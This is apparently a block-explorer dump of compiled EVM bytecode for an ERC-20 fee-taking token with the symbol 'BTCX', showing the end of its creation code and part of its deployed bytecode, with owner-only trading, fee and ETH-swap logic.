b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a5690612db8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8290612db8565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131d46025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612a74565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061258c565b6040518363ffffffff1660e01b8152600401610ebe929190612945565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061258c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc192919061296e565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611013919061268c565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061258c565b6040518363ffffffff1660e01b8152600401611192929190612945565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061258c565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906129f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612a14565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a9190612af4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612ab4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906129d4565b60405180910390fd5b6000821161176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612a94565b60405180910390fd5b601060149054906101000a900460ff16156117925761178b848484611bda565b9050611b11565b600061179d30610882565b9050601060149054906101000a900460ff161580156118065750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181e5750601060159054906101000a900460ff165b1561188957601060169054906101000a900460ff161561183e57600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061188881611dad565b5b611912836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119f85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a0c57611a07868686611e2b565b611a0e565b835b9050611a6281600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b029190612af4565b60405180910390a36001925050505b9392505050565b6000838311158290611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5791906129b2565b60405180910390fd5b5060008385611b6f9190612cea565b9050809150509392505050565b6000808284611b8b9190612c09565b905083811015611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612a34565b60405180910390fd5b8091505092915050565b6000611c65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfa82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9a9190612af4565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611dd181612052565b60004790506000811115611e0c57611e0b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261234e565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eb357611eac6064611e9e6009548661239990919063ffffffff16565b61241490919063ffffffff16565b9050611f31565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3057611f2d6064611f1f600a548661239990919063ffffffff16565b61241490919063ffffffff16565b90505b5b600081111561203557611f8c81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202c9190612af4565b60405180910390a35b612048818461245e90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561206f5761206e612ea6565b5b60405190808252806020026020018201604052801561209d5781602001602082028036833780820191505090505b50905030816000815181106120b5576120b4612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061212657612125612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612200919061258c565b8160028151811061221457612213612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227b30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122df959493929190612b3f565b600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612342929190612b0f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612394573d6000803e3d6000fd5b505050565b6000808314156123ac576000905061240e565b600082846123ba9190612c90565b90508284826123c99190612c5f565b14612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090612a54565b60405180910390fd5b809150505b92915050565b600061245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124a8565b905092915050565b60006124a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b600080831182906124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e691906129b2565b60405180910390fd5b50600083856124fe9190612c5f565b9050809150509392505050565b60008135905061251a81613166565b92915050565b60008151905061252f81613166565b92915050565b6000815190506125448161317d565b92915050565b60008135905061255981613194565b92915050565b60006020828403121561257557612574612ed5565b5b60006125838482850161250b565b91505092915050565b6000602082840312156125a2576125a1612ed5565b5b60006125b084828501612520565b91505092915050565b600080604083850312156125d0576125cf612ed5565b5b60006125de8582860161250b565b92505060206125ef8582860161250b565b9150509250929050565b60008060006060848603121561261257612611612ed5565b5b60006126208682870161250b565b93505060206126318682870161250b565b92505060406126428682870161254a565b9150509250925092565b6000806040838503121561266357612662612ed5565b5b60006126718582860161250b565b92505060206126828582860161254a565b9150509250929050565b6000602082840312156126a2576126a1612ed5565b5b60006126b084828501612535565b91505092915050565b6000602082840312156126cf576126ce612ed5565b5b60006126dd8482850161254a565b91505092915050565b60006126f283836126fe565b60208301905092915050565b61270781612d1e565b82525050565b61271681612d1e565b82525050565b600061272782612bc4565b6127318185612be7565b935061273c83612bb4565b8060005b8381101561276d57815161275488826126e6565b975061275f83612bda565b925050600181019050612740565b5085935050505092915050565b61278381612d30565b82525050565b61279281612d73565b82525050565b60006127a382612bcf565b6127ad8185612bf8565b93506127bd818560208601612d85565b6127c681612eda565b840191505092915050565b60006127de602383612bf8565b91506127e982612eeb565b604082019050919050565b6000612801602683612bf8565b915061280c82612f3a565b604082019050919050565b6000612824602283612bf8565b915061282f82612f89565b604082019050919050565b6000612847601b83612bf8565b915061285282612fd8565b602082019050919050565b600061286a602183612bf8565b915061287582613001565b604082019050919050565b600061288d602083612bf8565b915061289882613050565b602082019050919050565b60006128b0602983612bf8565b91506128bb82613079565b604082019050919050565b60006128d3602583612bf8565b91506128de826130c8565b604082019050919050565b60006128f6602483612bf8565b915061290182613117565b604082019050919050565b61291581612d5c565b82525050565b61292481612d66565b82525050565b600060208201905061293f600083018461270d565b92915050565b600060408201905061295a600083018561270d565b612967602083018461270d565b9392505050565b6000604082019050612983600083018561270d565b612990602083018461290c565b9392505050565b60006020820190506129ac600083018461277a565b92915050565b600060208201905081810360008301526129cc8184612798565b905092915050565b600060208201905081810360008301526129ed816127d1565b9050919050565b60006020820190508181036000830152612a0d816127f4565b9050919050565b60006020820190508181036000830152612a2d81612817565b9050919050565b60006020820190508181036000830152612a4d8161283a565b9050919050565b60006020820190508181036000830152612a6d8161285d565b9050919050565b60006020820190508181036000830152612a8d81612880565b9050919050565b60006020820190508181036000830152612aad816128a3565b9050919050565b60006020820190508181036000830152612acd816128c6565b9050919050565b60006020820190508181036000830152612aed816128e9565b9050919050565b6000602082019050612b09600083018461290c565b92915050565b6000604082019050612b24600083018561290c565b8181036020830152612b36818461271c565b90509392505050565b600060a082019050612b54600083018861290c565b612b616020830187612789565b8181036040830152612b73818661271c565b9050612b82606083018561270d565b612b8f608083018461290c565b9695505050505050565b6000602082019050612bae600083018461291b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c1482612d5c565b9150612c1f83612d5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c5457612c53612dea565b5b828201905092915050565b6000612c6a82612d5c565b9150612c7583612d5c565b925082612c8557612c84612e19565b5b828204905092915050565b6000612c9b82612d5c565b9150612ca683612d5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cdf57612cde612dea565b5b828202905092915050565b6000612cf582612d5c565b9150612d0083612d5c565b925082821015612d1357612d12612dea565b5b828203905092915050565b6000612d2982612d3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d7e82612d5c565b9050919050565b60005b83811015612da3578082015181840152602081019050612d88565b83811115612db2576000848401525b50505050565b60006002820490506001821680612dd057607f821691505b60208210811415612de457612de3612e48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61316f81612d1e565b811461317a57600080fd5b50565b61318681612d30565b811461319157600080fd5b50565b61319d81612d5c565b81146131a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220801c29cbf86fb02e0f92f3ed392cf533bc074e598ad0f5246805f3188de9ef5564736f6c63430008060033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000001406f400000000000000000000000000000000000000000000000000000000000000004425443580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044254435800000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906129b2565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061264c565b6105c9565b6040516101999190612997565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c49190612af4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906125f9565b6105f1565b6040516102019190612997565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c919061292a565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612b99565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061264c565b610708565b6040516102949190612997565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906126b9565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e8919061255f565b61085a565b6040516102fa9190612997565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b6040516103259190612af4565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061255f565b610882565b6040516103629190612af4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d919061292a565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906129b2565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa9190612af4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061264c565b610ae3565b6040516104379190612997565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061264c565b610bb0565b6040516104749190612997565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f919061292a565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061255f565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f391906125b9565b61122b565b6040516105059190612af4565b60405180910390f35b34801561051a57600080fd5b506105356004803603810190610530919061255f565b6112b2565b005b60606001805461054690612db8565b80601f016020809104026020016040519081016040528092919081815260200182805461057290612db8565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131ac60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790612a74565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a5690612db8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8290612db8565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131d46025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612a74565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061258c565b6040518363ffffffff1660e01b8152600401610ebe929190612945565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061258c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc192919061296e565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611013919061268c565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061258c565b6040518363ffffffff1660e01b8152600401611192929190612945565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061258c565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906129f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612a14565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a9190612af4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612ab4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906129d4565b60405180910390fd5